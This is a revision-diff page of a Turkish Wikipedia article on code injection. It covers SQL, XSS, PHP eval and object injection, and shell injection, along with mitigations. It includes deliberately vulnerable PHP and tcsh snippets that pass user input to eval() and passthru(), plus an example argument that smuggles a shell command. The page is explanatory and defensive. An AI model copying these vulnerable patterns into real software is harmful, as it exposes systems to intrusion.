Kod enjeksiyonu: Revizyonlar arasındaki fark

Vikipedi, özgür ansiklopedi
[kontrol edilmemiş revizyon][kontrol edilmemiş revizyon]
İçerik silindi İçerik eklendi
Muraty2021 (mesaj | katkılar)
kDeğişiklik özeti yok
Muraty2021 (mesaj | katkılar)
"Code injection" sayfasının çevrilmesiyle oluşturuldu.
Etiketler: Ücretsiz blog veya wiki bağlantısı içeren madde potansiyel vandalizm İçerik Çevirmeni İçerik Çevirmeni 2
1. satır: 1. satır:
'''Kod enjeksiyonu''', geçersiz verilerin işlenmesinden kaynaklanan bilgisayar hatasından yararlanmadır. Enjeksiyon, saldırgan tarafından savunmasız bir bilgisayar programına kod enjekte etmek ve yürütmenin seyrini değiştirmek için kullanılır. Başarılı kod eklemenin sonucu felaket olabilir. Örneğin, [[Bilgisayar virüsü|bilgisayar virüsleri]]<nowiki/>nin ya da [[Solucan (virüs)|solucan]]<nowiki/>ların yayılmasına izin verilebilir.
'''Kod enjeksiyonu''', geçersiz verilerin işlenmesinden kaynaklanan bilgisayar hatasından yararlanmadır. Enjeksiyon, saldırgan tarafından savunmasız bir bilgisayar programına kod enjekte etmek ve yürütmenin seyrini değiştirmek için kullanılır. Başarılı kod eklemenin sonucu felaket olabilir. Örneğin, [[Bilgisayar virüsü|bilgisayar virüsleri]]<nowiki/>nin ya da [[Solucan (virüs)|solucan]]<nowiki/>ların yayılmasına izin verilebilir.


Uygulama yorumlayıcıya güvensiz veri gönderdiğinde kod güvenlik açıkları oluşur. Enjeksiyon kusurları sıklıkla [[SQL]], [[LDAP]], [[XPath]], [[NoSQL (kavram)|NoSQL]] sorgularında, işletim sistemi komutlarında, XML [[ayrıştırıcı]]<nowiki/>larında, [[SMTP]] başlıklarında, program değişkenlerinde bulunur. Enjeksiyon kusurları kaynak kodu inceleme ile testten daha kolay bir şekilde keşfedilme eğilimindedir. Tarayıcılar ve fuzzer’lar kod enjeksiyonunun bulunmasında yardımcı olabilir.
Uygulama yorumlayıcıya güvensiz veri gönderdiğinde kod güvenlik açıkları oluşur. Enjeksiyon kusurları sıklıkla [[SQL]], [[LDAP]], [[XPath]], [[NoSQL (kavram)|NoSQL]] sorgularında, işletim sistemi komutlarında, XML [[ayrıştırıcı]]<nowiki/>larında, [[SMTP]] başlıklarında, program değişkenlerinde bulunur. Enjeksiyon kusurları kaynak kodu inceleme ile testten daha kolay bir şekilde keşfedilme eğilimindedir. Tarayıcılar ve fuzzer’lar kod enjeksiyonunun bulunmasında yardımcı olabilir.<ref>{{Web kaynağı|url=https://owasp.org/www-project-top-ten/|başlık=OWASP Top Ten Web Application Security Risks {{!}} OWASP|erişimtarihi=2021-12-25|dil=en|çalışma=owasp.org}}</ref>


Enjeksiyon, veri kaybına veya bozulmasına, hesap verilebilirliğin olmamasına veya [[Denial-of-service attack|erişimin engellenmesi]]<nowiki/>ne sebep olabilir. Enjeksiyon bazen ana bilgisayarın tamamen devralınmasına sebep olabilir.
Enjeksiyon, veri kaybına veya bozulmasına, hesap verilebilirliğin olmamasına veya [[Denial-of-service attack|erişimin engellenmesi]]<nowiki/>ne sebep olabilir. Enjeksiyon bazen ana bilgisayarın tamamen devralınmasına sebep olabilir.
9. satır: 9. satır:
Kod enjeksiyon teknikleri, bilgi elde etmek için, ayrıcalık yükseltmek veya bir sisteme yetkisiz erişim elde etmek için sistem saldırıları ve kırma işlemlerinde popülerdir. Kod enjeksiyonu, aşağıdakiler de dahil olmak üzere birkaç amaç için kötü niyetli olarak kullanılabilir:
Kod enjeksiyon teknikleri, bilgi elde etmek için, ayrıcalık yükseltmek veya bir sisteme yetkisiz erişim elde etmek için sistem saldırıları ve kırma işlemlerinde popülerdir. Kod enjeksiyonu, aşağıdakiler de dahil olmak üzere birkaç amaç için kötü niyetli olarak kullanılabilir:


* [[SQL Enjeksiyonu|SQL enjeksiyonu]] yoluyla bir veritabanındaki değerleri keyfi olarak değiştirme. Bunu etkisi, web sitesi silinmesinden hassas verilerin ciddi şekilde tehlikeye atılmasına kadar değişebilir.
* SQL enjeksiyonu yoluyla bir veritabanındaki değerleri keyfi olarak değiştirme. Bunu etkisi, web sitesi silinmesinden hassas verilerin ciddi şekilde tehlikeye atılmasına kadar değişebilir.
* Sunucu komut dosyası kodunu (PHP veya ASP) gibi ekleme yapılarak bir sunucuya kötü niyetli yazılım yüklemek veya çalıştırmak.
* Sunucu komut dosyası kodunu (PHP veya ASP) gibi ekleme yapılarak bir sunucuya kötü niyetli yazılım yüklemek veya çalıştırmak.
* Microsoft Windows üzerindeki bir servisi kullanarak yerel sistemi veya UNIX üzerindeki setuid kök ikilisi içerisindeki Shell enjeksiyon güvenlik açıklarını kullanarak ayrıcalık yükseltmek.
* Microsoft Windows üzerindeki bir servisi kullanarak yerel sistemi veya UNIX üzerindeki setuid kök ikilisi içerisindeki Shell enjeksiyon güvenlik açıklarını kullanarak ayrıcalık yükseltmek.
* Web kullanıcılarına HTML/komut dosyası ekleme. (Siteler arası komut dosyası ekleme).
* Web kullanıcılarına HTML/komut dosyası ekleme. (Siteler arası komut dosyası ekleme).


Kayıtlardaki en yüksek yıl olan 2008’de bildirilen tüm güvenlik açıklarının %5.66’sı kod enjeksiyonu olarak sınıflandırılmıştır. 2015’te bu oran %0.77’ye düşmüştür.
Kayıtlardaki en yüksek yıl olan 2008’de bildirilen tüm güvenlik açıklarının %5.66’sı kod enjeksiyonu olarak sınıflandırılmıştır. 2015’te bu oran %0.77’ye düşmüştür.<ref>{{Web kaynağı|url=https://nvd.nist.gov/vuln/search|başlık=NVD - Search and Statistics|erişimtarihi=2021-12-25|çalışma=nvd.nist.gov}}</ref>


== İyi huylu ve kasıtsız kullanım ==
== İyi huylu ve kasıtsız kullanım ==
Kod enjeksiyonu iyi niyetle kullanılabilir, örneğin bir programın ya da sistemin davranışını kod enjeksiyonu yoluyla değiştirme ya da ince ayar yapmak, sistemin herhangi bir kötü niyeti olmaksızın belirli bir şekilde davranmasına sebep olabilir. Örneğin kod yerleştirme,
Kod enjeksiyonu iyi niyetle kullanılabilir, örneğin bir programın ya da sistemin davranışını kod enjeksiyonu yoluyla değiştirme ya da ince ayar yapmak, sistemin herhangi bir kötü niyeti olmaksızın belirli bir şekilde davranmasına sebep olabilir.<ref>{{Web kaynağı|url=https://web.archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf|başlık=Wayback Machine|erişimtarihi=2021-12-25|çalışma=web.archive.org}}</ref><ref>{{Akademik dergi kaynağı|url=https://link.springer.com/chapter/10.1007/978-3-642-14706-7_18|başlık=Symptoms-Based Detection of Bot Processes|tarih=2010|dil=en|sayfalar=229–241|çalışma=Computer Network Security|yer=Berlin, Heidelberg|yayıncı=Springer|seri=Lecture Notes in Computer Science|ad=Jose Andre|soyadı=Morales|isbn=978-3-642-14706-7|doi=10.1007/978-3-642-14706-7_18|ad2=Erhan|ad3=Shouhuai|ad4=Ravi|soyadı2=Kartaltepe|soyadı3=Xu|soyadı4=Sandhu|editor-first=Igor|editor2-first=Victor|editor-last=Kotenko|editor2-last=Skormin}}</ref> Örneğin kod yerleştirme,


* Arama sonuçları sayfasının orijinal tasarımında görünmeyen kullanışlı yeni bir sütun eklemek.
* Arama sonuçları sayfasının orijinal tasarımında görünmeyen kullanışlı yeni bir sütun eklemek.
* Orijinal tasarımın varsayılan işlevlerinde gösterilmeyen bir alanı kullanarak verileri filtreleme, sıralama veya gruplama için yeni bir yol önermek.
* Orijinal tasarımın varsayılan işlevlerinde gösterilmeyen bir alanı kullanarak verileri filtreleme, sıralama veya gruplama için yeni bir yol önermek.
* [[Dropbox (paylaşım ağı)|Dropbox]] gibi programlarla ilgili olarak, çevrimdışı bir programda çevrimiçi kaynaklara bağlanmak için kullanılabilecek özel parçalar eklemek.
* [[Dropbox (paylaşım ağı)|Dropbox]] gibi programlarla ilgili olarak, çevrimdışı bir programda çevrimiçi kaynaklara bağlanmak için kullanılabilecek özel parçalar eklemek.
* Belirli bir [[C standart kütüphanesi|libc]] fonksiyonuyla aynı ada sahip bir işlev tanımlayarak bu işlevi bir kütüphane olarak bağlamak ve [[C standart kütüphanesi|libc]] fonksiyonunun kullanımını geçersiz kılmak için Linux Dinamik Bağlayıcı kullanmak.
* Belirli bir [[C standart kütüphanesi|libc]] fonksiyonuyla aynı ada sahip bir işlev tanımlayarak bu işlevi bir kütüphane olarak bağlamak ve [[C standart kütüphanesi|libc]] fonksiyonunun kullanımını geçersiz kılmak için Linux Dinamik Bağlayıcı kullanmak.<ref>{{Web kaynağı|url=https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/|başlık=Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs|erişimtarihi=2021-12-25|tarih=2013-04-02|dil=en|çalışma=Rafał Cieślak's blog}}</ref>


Bazı kullanıcılar şüphesizce kod enjeksiyonu gerçekleştirebilir çünkü programa sağladıkları girdi, sistemi ilk geliştirenler tarafından dikkate alınmazdı. Örneğin:
Bazı kullanıcılar şüphesizce kod enjeksiyonu gerçekleştirebilir çünkü programa sağladıkları girdi, sistemi ilk geliştirenler tarafından dikkate alınmazdı. Örneğin:


* Kullanıcının geçerli bir girdi olarak kabul edebileceği şey, geliştirici tarafından özel bir anlamı olması için ayrılmış belirteç karakteri ya da [[Dize (bilgisayar bilimi)|karakter dizeleri]] içerebilir. (Belki “Shannon & Jason” için “&” karakteri ya da “Bob ‘Slugger’ McCracken” içerisindeki tırnak işareti)
* Kullanıcının geçerli bir girdi olarak kabul edebileceği şey, geliştirici tarafından özel bir anlamı olması için ayrılmış belirteç karakteri ya da [[Dize (bilgisayar bilimi)|karakter dizeleri]] içerebilir. (Belki “Shannon & Jason” için “&” karakteri ya da “Bob ‘Slugger’ McCracken” içerisindeki tırnak işareti)
* Kullanıcı, tek bir uygulamada incelikle işlenmiş ancak alıcı sistem için zararlı olan hatalı biçimlendirilmiş bir dosyayı girdi olarak gönderebilir.
* Kullanıcı tek bir uygulamada incelikle işlenmiş ancak alıcı sistem için zararlı olan hatalı biçimlendirilmiş bir dosyayı girdi olarak gönderebilir.


Kod enjeksiyonunda bir başka iyi niyetli kullanım ise bu kusurları düzeltmek amacıyla enjeksiyon kusurlarının keşfedilmesi olabilir. Bu [[Beyaz şapkalı hacker|beyaz şapka]] [[sızma testi]] olarak bilinir.
Kod enjeksiyonunda bir başka iyi niyetli kullanım ise bu kusurları düzeltmek amacıyla enjeksiyon kusurlarının keşfedilmesi olabilir. Bu [[Beyaz şapkalı hacker|beyaz şapka]] [[sızma testi]] olarak bilinir.
35. satır: 35. satır:


* API kullanmak. Doğru kullanılırsa tüm giriş karakterlerine karşı güvenlidir. Parametreli sorgular (“Derlenmiş Sorgular”, “Hazırlanmış İfadeler”, “Bağlı Değişkenler” olarak da bilinir.) kullanıcı verilerinin yorumlanacak dize dışına taşınmasına izin verir. Ek olarak Criteria API ve benzeri API’lar, oluşturulan ve yorumlanan komut dizilerinden uzaklaşır.
* API kullanmak. Doğru kullanılırsa tüm giriş karakterlerine karşı güvenlidir. Parametreli sorgular (“Derlenmiş Sorgular”, “Hazırlanmış İfadeler”, “Bağlı Değişkenler” olarak da bilinir.) kullanıcı verilerinin yorumlanacak dize dışına taşınmasına izin verir. Ek olarak Criteria API ve benzeri API’lar, oluşturulan ve yorumlanan komut dizilerinden uzaklaşır.
* Statik tür sistemi<ref>{{Web kaynağı|url=https://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html|başlık=A type-based solution to the “strings problem”: a fitting end to XSS and SQL-injection holes? - Tom Moertel’s Blog|erişimtarihi=2021-12-25|çalışma=blog.moertel.com}}</ref> aracılığıyla dil ayrımını zorlamak.
* Statik tür sistemi aracılığıyla dil ayrımını zorlamak.
* Yalnızca bilinen iyi değerlerin beyaz listeye alınması gibi girdi doğrulaması, örneğin Javascript kullanılarak istemci tarafında yapılabilir ya da daha güvenli olan sunucu tarafında yapılabilir.
* Yalnızca bilinen iyi değerlerin beyaz listeye alınması gibi girdi doğrulaması, örneğin Javascript kullanılarak istemci tarafında yapılabilir ya da daha güvenli olan sunucu tarafında yapılabilir.
* Giriş kodlaması (Tehlikeli karakterlerden kaçınmak). Örneğin PHP’de ''“htmlspecialchars()”'' HTML’deki metnin güvenli çıktısı için özel karakterlerden kaçınmak ve ''“mysqli::real_escape_string()”'' [[SQL Enjeksiyonu|SQL enjeksiyon]]<nowiki/>a karşı koruma sağlamak için bir SQL isteğine dahil edilecek verileri izole etme fonksiyonunu kullanmak.
* Giriş kodlaması (Tehlikeli karakterlerden kaçınmak). Örneğin PHP’de ''“htmlspecialchars()”'' HTML’deki metnin güvenli çıktısı için özel karakterlerden kaçınmak ve ''“mysqli::real_escape_string()”'' SQL enjeksiyona karşı koruma sağlamak için bir SQL isteğine dahil edilecek verileri izole etme fonksiyonunu kullanmak.
* Çıktı kodlaması yani web sitesi ziyaretçilerine yönelik [[Siteler arası betik çalıştırma|HTML Enjeksiyon (XSS)]] saldırısını önleme.
* Çıktı kodlaması yani web sitesi ziyaretçilerine yönelik [[Siteler arası betik çalıştırma|HTML Enjeksiyon (XSS)]] saldırısını önleme.
* ''“HttpOnly”'', [[Çerez (İnternet)|HTTP çerezleri]] için bir bayraktır ve ayarlandığı zaman, çerezler ile sunucu/istemci etkileşimine izin vermez. Böylece belirli XSS saldırıları önlenir.
* ''“HttpOnly”'', [[Çerez (İnternet)|HTTP çerezleri]] için bir bayraktır ve ayarlandığı zaman, çerezler ile sunucu/istemci etkileşimine izin vermez. Böylece belirli XSS saldırıları<ref>{{Web kaynağı|url=https://owasp.org/www-community/HttpOnly|başlık=HttpOnly - Set-Cookie HTTP response header {{!}} OWASP|erişimtarihi=2021-12-25|dil=en|çalışma=owasp.org}}</ref> önlenir.
* Kernel’den modüler kabul ayırma.
* Kernel’den modüler kabul ayırma.
* [[SQL Enjeksiyonu|SQL enjeksiyon]] ile sorunları azaltmaya yardımcı olmak için parametreli sorgular, [[Saklı yordam|saklı prosedürler]], beyaz liste giriş doğrulaması ve daha fazlası kullanılabilir.
* SQL enjeksiyon ile sorunları azaltmaya yardımcı olmak için parametreli sorgular, [[Saklı yordam|saklı prosedürler]], beyaz liste giriş doğrulaması ve daha fazlası kullanılabilir.<ref>{{Web kaynağı|url=https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html|başlık=SQL Injection Prevention - OWASP Cheat Sheet Series|erişimtarihi=2021-12-25|çalışma=cheatsheetseries.owasp.org}}</ref>


Yukarıda listelenen çözümler, öncelikle web tabanlı HTML veya komut dosyası kodunun bir sunucu tarafı uygulamasına eklenmesiyle ilgilidir. Bununla beraber kullanıcı makinesi üzerindeki kullanıcı kodunun enjeksiyonu ile uğraşırken, ayrıcalık yükseltme saldırılarına neden olan başka yaklaşımlar da alınmalıdır. Yönetilen ve yönetilemeyen kod enjeksiyonlarını algılamak ve izole etmek için kullanılan bazı yaklaşımlar vardır:
Yukarıda listelenen çözümler, öncelikle web tabanlı HTML veya komut dosyası kodunun bir sunucu tarafı uygulamasına eklenmesiyle ilgilidir. Bununla beraber kullanıcı makinesi üzerindeki kullanıcı kodunun enjeksiyonu ile uğraşırken, ayrıcalık yükseltme saldırılarına neden olan başka yaklaşımlar da alınmalıdır. Yönetilen ve yönetilemeyen kod enjeksiyonlarını algılamak ve izole etmek için kullanılan bazı yaklaşımlar vardır:
48. satır: 48. satır:
* NX Bit: Tüm kullanıcı verileri, çalıştırılamaz olarak işaretli özel bellek bölgelerinde saklanır. İşlemci, belleğin o bölümünde hiç kod olmadığını anlar ve orada bulunan herhangi bir şeyi çalıştırmayı reddeder.
* NX Bit: Tüm kullanıcı verileri, çalıştırılamaz olarak işaretli özel bellek bölgelerinde saklanır. İşlemci, belleğin o bölümünde hiç kod olmadığını anlar ve orada bulunan herhangi bir şeyi çalıştırmayı reddeder.
* Kanaryalar (Canaries): Değerlerin rastgele bellek alanlarına yerleştirilmesi. Çalışma zamanında, bir fonksiyon döndüğü zaman, bir kanarya kontrol edilir. Kanarya değiştirilmişse, program çalışmayı durdurur ve çıkış yapar. Bu yığın taşması saldırısında oluşur.
* Kanaryalar (Canaries): Değerlerin rastgele bellek alanlarına yerleştirilmesi. Çalışma zamanında, bir fonksiyon döndüğü zaman, bir kanarya kontrol edilir. Kanarya değiştirilmişse, program çalışmayı durdurur ve çıkış yapar. Bu yığın taşması saldırısında oluşur.
* (C dilinde) Kod İşaretçi (Pointer) Maskeleme (CPM): (Potansiyel olarak değiştirilmiş) bir kod işaretçisini bir kayıt defterine yükledikten sonra işaretçiye bit maskesi uygulanır. Bu işaretçinin gösterdiği adresleri etkili bir şekilde kısıtlar.
* (C dilinde) Kod İşaretçi (Pointer) Maskeleme (CPM): (Potansiyel olarak değiştirilmiş) bir kod işaretçisini bir kayıt defterine yükledikten sonra işaretçiye bit maskesi uygulanır. Bu işaretçinin gösterdiği adresleri etkili bir şekilde kısıtlar.<ref>{{Akademik dergi kaynağı|url=https://www.semanticscholar.org/paper/CPM:-Masking-Code-Pointers-to-Prevent-Code-Attacks-Philippaerts-Younan/b49f36448121cf0a19de54ba44e18c681de82044|başlık=CPM: Masking Code Pointers to Prevent Code Injection Attacks|tarih=2013|çalışma=TSEC|ad=Pieter|soyadı=Philippaerts|doi=10.1145/2487222.2487223|ad2=Yves|ad3=Stijn|ad4=F.|ad5=Sven|ad6=T.|soyadı2=Younan|soyadı3=Muylle|soyadı4=Piessens|soyadı5=Lachmund|soyadı6=Walter}}</ref>


== Örnekler ==
== Örnekler ==


=== SQL enjeksiyonu ===
=== SQL enjeksiyonu ===
[[SQL Enjeksiyonu|SQL enjeksiyonu]], bir veritabanını okuyabilen, değiştirebilen veya orijinal sorgunun anlamından taviz verebilen komutları enjekte etmek için SQL sözdiziminden yararlanır.
SQL enjeksiyonu, bir veritabanını okuyabilen, değiştirebilen veya orijinal sorgunun anlamından taviz verebilen komutları enjekte etmek için SQL sözdiziminden yararlanır.


Örneğin, kullanıcıların kullanıcı adı ve parola girmesi için 2 alanı bulunan bir web sayfası varsayın. Sayfanın arkasındaki kod, kullanıcıların isim listesine göre parolayı kontrol etmek için bir SQL sorgusu oluşturacaktır:<syntaxhighlight lang="sql">
Örneğin, kullanıcıların kullanıcı adı ve parola girmesi için 2 alanı bulunan bir web sayfası varsayın. Sayfanın arkasındaki kod, kullanıcıların isim listesine göre parolayı kontrol etmek için bir SQL sorgusu oluşturacaktır:<syntaxhighlight lang="SQL">
SELECT UserList.Username
SELECT UserList.Username
FROM UserList
FROM UserList
86. satır: 86. satır:
</syntaxhighlight>Sonuç olarak “User” tablosu veritabanından kaldırılacaktır. Bunun nedeni, ''“ ; ”'' sembolü bir komutun sonunu ve yenisinin başlangıcını gösterir. ''“ -- ”'' bir yorumun başlangıcını gösterir.
</syntaxhighlight>Sonuç olarak “User” tablosu veritabanından kaldırılacaktır. Bunun nedeni, ''“ ; ”'' sembolü bir komutun sonunu ve yenisinin başlangıcını gösterir. ''“ -- ”'' bir yorumun başlangıcını gösterir.


=== Siteler arası komut dosyası oluşturma ===
Kod enjeksiyonu, bir uygulamaya kötü amaçlı yazılımın eklenmesidir. Bazı web sunucularında, kullanıcılardan gelen küçük mesajları kabul eden ve genellikle aşağıdaki gibi mesajları alan bir ziyaretçi defteri komut dizisi (script) içerir:
Kod enjeksiyonu, bir uygulamaya kötü amaçlı yazılımın eklenmesidir. Bazı web sunucularında, kullanıcılardan gelen küçük mesajları kabul eden ve genellikle aşağıdaki gibi mesajları alan bir ziyaretçi defteri komut dizisi (script) içerir:
<nowiki>Very nice site!</nowiki>
<nowiki>Very nice site!</nowiki>
93. satır: 92. satır:
HTML ve komut dizisi enjeksiyonu, yaygın olarak “siteler arası komut dosyası çalıştırma” veya “XSS” olarak adlandırılan popüler bir konudur. XSS, kullanıcı girişinin, HTML kodu veya komut dosyası için kontrol edilmeden çıktı HTML koduna bu satırların yerleştirildiği bir enjeksiyon kusurunu ifade eder.
HTML ve komut dizisi enjeksiyonu, yaygın olarak “siteler arası komut dosyası çalıştırma” veya “XSS” olarak adlandırılan popüler bir konudur. XSS, kullanıcı girişinin, HTML kodu veya komut dosyası için kontrol edilmeden çıktı HTML koduna bu satırların yerleştirildiği bir enjeksiyon kusurunu ifade eder.


Bu problemlerin çoğu, hangi girdi verilerinin mümkün olduğuna dair hatalı varsayımlara ve özel verilerin etkileriyle ilgilidir.
Bu problemlerin çoğu, hangi girdi verilerinin mümkün olduğuna dair hatalı varsayımlara ve özel verilerin etkileriyle ilgilidir.<ref>{{Kitap kaynağı|url=http://archive.org/details/websecuritytesti00hope|başlık=Web security testing cookbook : systematic techniques to find problems fast|tarih=2009|yayıncı=Beijing, China ; Sebastopol, Ca. : O'Reilly|diğerleri=Internet Archive|ad=Brian|soyadı=Hope|isbn=978-0-596-51483-9|ad2=Ben|soyadı2=Walther}}</ref>


=== Dinamik değerlendirme güvenlik açıkları ===
=== Dinamik değerlendirme güvenlik açıkları ===
Bir saldırgan <syntaxhighlight lang="php" inline="">eval()</syntaxhighlight> fonksiyon çağrısına verilen girdi karakter dizisinin bir kısmını ya da tamamını kontrol ettiği zaman, <syntaxhighlight lang="php" inline="">eval()</syntaxhighlight> enjeksiyon güvenlik açığı oluşur.<syntaxhighlight lang="php">
Bir saldırgan <syntaxhighlight lang="php" inline="">eval()</syntaxhighlight> fonksiyon çağrısına verilen girdi karakter dizisinin bir kısmını ya da tamamını kontrol ettiği zaman, <syntaxhighlight lang="php" inline="">eval()</syntaxhighlight> enjeksiyon güvenlik açığı oluşur.<ref>{{Web kaynağı|url=https://seclists.org/fulldisclosure/2006/May/35|başlık=Full Disclosure: Dynamic Evaluation Vulnerabilities in PHP applications|erişimtarihi=2021-12-25|çalışma=seclists.org}}</ref><syntaxhighlight lang="php">
$myvar = 'somevalue';
$myvar = 'somevalue';
$x = $_GET['arg'];
$x = $_GET['arg'];
103. satır: 102. satır:


=== Nesne enjeksiyonu ===
=== Nesne enjeksiyonu ===
[[PHP]], tüm nesnelerin serileştirilmesine ve serileştirmenin kaldırılmasına izin verir. Seri durumdan çıkarma fonksiyonunda güvenilmeyen girdilere izin verilirse, programdaki mevcut sınıfların üzerine yazmak ve kötü niyetli saldırılar çalıştırmak mümkün olacaktır. Bunun gibi bir saldırıyı 2013 yılında [[Joomla!|Joomla]]’da bulunmuştur.
[[PHP]], tüm nesnelerin serileştirilmesine ve serileştirmenin kaldırılmasına izin verir. Seri durumdan çıkarma fonksiyonunda güvenilmeyen girdilere izin verilirse, programdaki mevcut sınıfların üzerine yazmak ve kötü niyetli saldırılar çalıştırmak mümkün olacaktır. Bunun gibi bir saldırıyı 2013 yılında [[Joomla!|Joomla]]’da bulunmuştur.<ref>{{Web kaynağı|url=http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability|başlık=Analysis of the Joomla PHP Object Injection Vulnerability {{!}} Karma(In)Security|erişimtarihi=2021-12-25|çalışma=karmainsecurity.com}}</ref>


=== Uzaktan dosya enjeksiyonu ===
=== Uzaktan dosya enjeksiyonu ===
132. satır: 131. satır:


=== Kabuk enjeksiyonu ===
=== Kabuk enjeksiyonu ===
Kabuk (Shell) enjeksiyonu (komut enjeksiyonu) Unix kabuklarından sonra adlandırılır, ancak yazılımın programlı olarak [[komut satırı]]<nowiki/>ndan çalışmasına izin verilen çoğu sistemde uygulanabilir. Örneğin savunmasız [[:en:Tcsh|tcsh]] komut dizisi:<syntaxhighlight lang="tcsh">
Kabuk (Shell) enjeksiyonu (komut enjeksiyonu<ref>{{Web kaynağı|url=https://owasp.org/www-community/attacks/Command_Injection|başlık=Command Injection {{!}} OWASP Foundation|erişimtarihi=2021-12-25|dil=en|çalışma=owasp.org}}</ref>) Unix kabuklarından sonra adlandırılır, ancak yazılımın programlı olarak [[komut satırı]]<nowiki/>ndan çalışmasına izin verilen çoğu sistemde uygulanabilir. Örneğin savunmasız [[:en:Tcsh|tcsh]] komut dizisi:<syntaxhighlight lang="tcsh">
#!/bin/tcsh
#!/bin/tcsh
# check arg outputs it matches if arg is one
# check arg outputs it matches if arg is one
if ($1 == 1) echo it matches
if ($1 == 1) echo it matches
</syntaxhighlight>Yukarıdakiler <code>./check</code> çalıştırılabilir dosyası içerisine saklanırsa, <code>./check " 1 ) evil"</code> kabuk komutu ile argümanı sabit olanla karşılaştırmak yerine enjekte edilen <code>evil</code> kabuk komutunu çalıştırmayı deneyecektir. Burada saldırı altındaki kod, parametreyi kontrol etmeye çalışan koddur, yani bir saldırıya karşı savunmak için parametreyi doğruılamaya çalışan koddur.
</syntaxhighlight>Yukarıdakiler <code>./check</code> çalıştırılabilir dosyası içerisine saklanırsa, <code>./check " 1 ) evil"</code> kabuk komutu ile argümanı sabit olanla karşılaştırmak yerine enjekte edilen <code>evil</code> kabuk komutunu çalıştırmayı deneyecektir. Burada saldırı altındaki kod, parametreyi kontrol etmeye çalışan koddur, yani bir saldırıya karşı savunmak için parametreyi doğruılamaya çalışan koddur.<ref>{{Web kaynağı|url=http://homepage.divms.uiowa.edu/~jones/opsys/notes/04.shtml|başlık=CS:3620 Notes, Lecture 4, Spring 2018|erişimtarihi=2021-12-25|çalışma=homepage.divms.uiowa.edu}}</ref>


Bir kabuk komutu oluşturma ve çalıştırmak için kullanılabilecek herhangi bir fonksiyon, bir kabuk enjeksiyon saldırısı başlatmak için potansiyel bir araçtır. Bunlar arasında [http://linux.die.net/man/3/system <code>system()</code>], <code>StartProcess()</code> ve [http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>System.Diagnostics.Process.Start()</code>] vardır.
Bir kabuk komutu oluşturma ve çalıştırmak için kullanılabilecek herhangi bir fonksiyon, bir kabuk enjeksiyon saldırısı başlatmak için potansiyel bir araçtır. Bunlar arasında [http://linux.die.net/man/3/system <code>system()</code>], <code>StartProcess()</code> ve [http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>System.Diagnostics.Process.Start()</code>] vardır.
143. satır: 142. satır:
<?php
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
</syntaxhighlight>Yukarıda oluşturulan bir kabuk komutu olan <code>passthru</code> sonra web sunucusu tarafında yürütülür. Oluşturduğu komutun bir kısmı web tarayıcısı tarafından sağlanan URL’den alındığından, bu [[:en:URL redirection|URL]]’in kötü amaçlı kabuk komutları enjekte etmesine izin verir. Çeşitli kabuk özelliklerinin söz diziminden yararlanılarak bu programa kod enjekte edilebilir (bu liste ayrıntılı değildir):
</syntaxhighlight>Yukarıda oluşturulan bir kabuk komutu olan <code>passthru</code> sonra web sunucusu tarafında yürütülür. Oluşturduğu komutun bir kısmı web tarayıcısı tarafından sağlanan URL’den alındığından, bu [[:en:URL_redirection|URL]]’in kötü amaçlı kabuk komutları enjekte etmesine izin verir. Çeşitli kabuk özelliklerinin söz diziminden yararlanılarak bu programa kod enjekte edilebilir (bu liste ayrıntılı değildir):<ref>{{Web kaynağı|url=http://archive.md/XayVc|başlık=Command Injection - Black Hat Library|erişimtarihi=2021-12-25|tarih=2015-02-27|çalışma=archive.md}}</ref>
{| class="wikitable"
{| class="wikitable"
!Shell feature
!Shell feature
206. satır: 205. satır:
* [[Truva atı (bilgisayar)]]
* [[Truva atı (bilgisayar)]]


== Referanslar ==
 

== Dış bağlantılar ==

* Makale "[https://web.archive.org/web/20041010124514/http://www.codeproject.com/threads/winspy.asp Three Ways to Inject Your Code into Another Process]", Robert Kuster
* Makale "[https://web.archive.org/web/20060209035745/http://www.codeproject.com/system/inject2exe.asp Inject your code to a Portable Executable file]", A. Danehkar
* Makale "[https://web.archive.org/web/20070410133521/http://www.codeproject.com/system/inject2it.asp Injective Code inside Import Table]", A. Danehkar
* Makale "[https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)]" by Tadeusz Pietraszek and Chris Vanden Berghe
* Yeni makale "[https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/ Flux spreads wider]" - Güvenlik duvarından algılanmayı önlemek için kod enjeksiyonu kullanan ilk Truva atı
* [http://www.thedailywtf.com/ The Daily WTF] - Yazılımda kod enjeksiyonuna karşı gerçek dünyadaki duyarlılık olaylarını düzenli olarak raporlar.
[[Kategori:Makine dili]]
[[Kategori:Makine dili]]
[[Kategori:Trojan]]
[[Kategori:Category:Trojan]]
[[Kategori:SQL]]
[[Kategori:Category:SQL]]
[[Kategori:XSS]]
[[Kategori:Category:XSS]]
[[Kategori:Truva atı]]
[[Kategori:Category:Truva atı]]
[[Kategori:İncelenmemiş çeviri içeren sayfalar]]

Sayfanın 19.17, 25 Aralık 2021 tarihindeki hâli

Kod enjeksiyonu, geçersiz verilerin işlenmesinden kaynaklanan bilgisayar hatasından yararlanmadır. Enjeksiyon, saldırgan tarafından savunmasız bir bilgisayar programına kod enjekte etmek ve yürütmenin seyrini değiştirmek için kullanılır. Başarılı kod eklemenin sonucu felaket olabilir. Örneğin, bilgisayar virüslerinin ya da solucanların yayılmasına izin verilebilir.

Uygulama yorumlayıcıya güvensiz veri gönderdiğinde kod güvenlik açıkları oluşur. Enjeksiyon kusurları sıklıkla SQL, LDAP, XPath, NoSQL sorgularında, işletim sistemi komutlarında, XML ayrıştırıcılarında, SMTP başlıklarında, program değişkenlerinde bulunur. Enjeksiyon kusurları kaynak kodu inceleme ile testten daha kolay bir şekilde keşfedilme eğilimindedir. Tarayıcılar ve fuzzer’lar kod enjeksiyonunun bulunmasında yardımcı olabilir.[1]

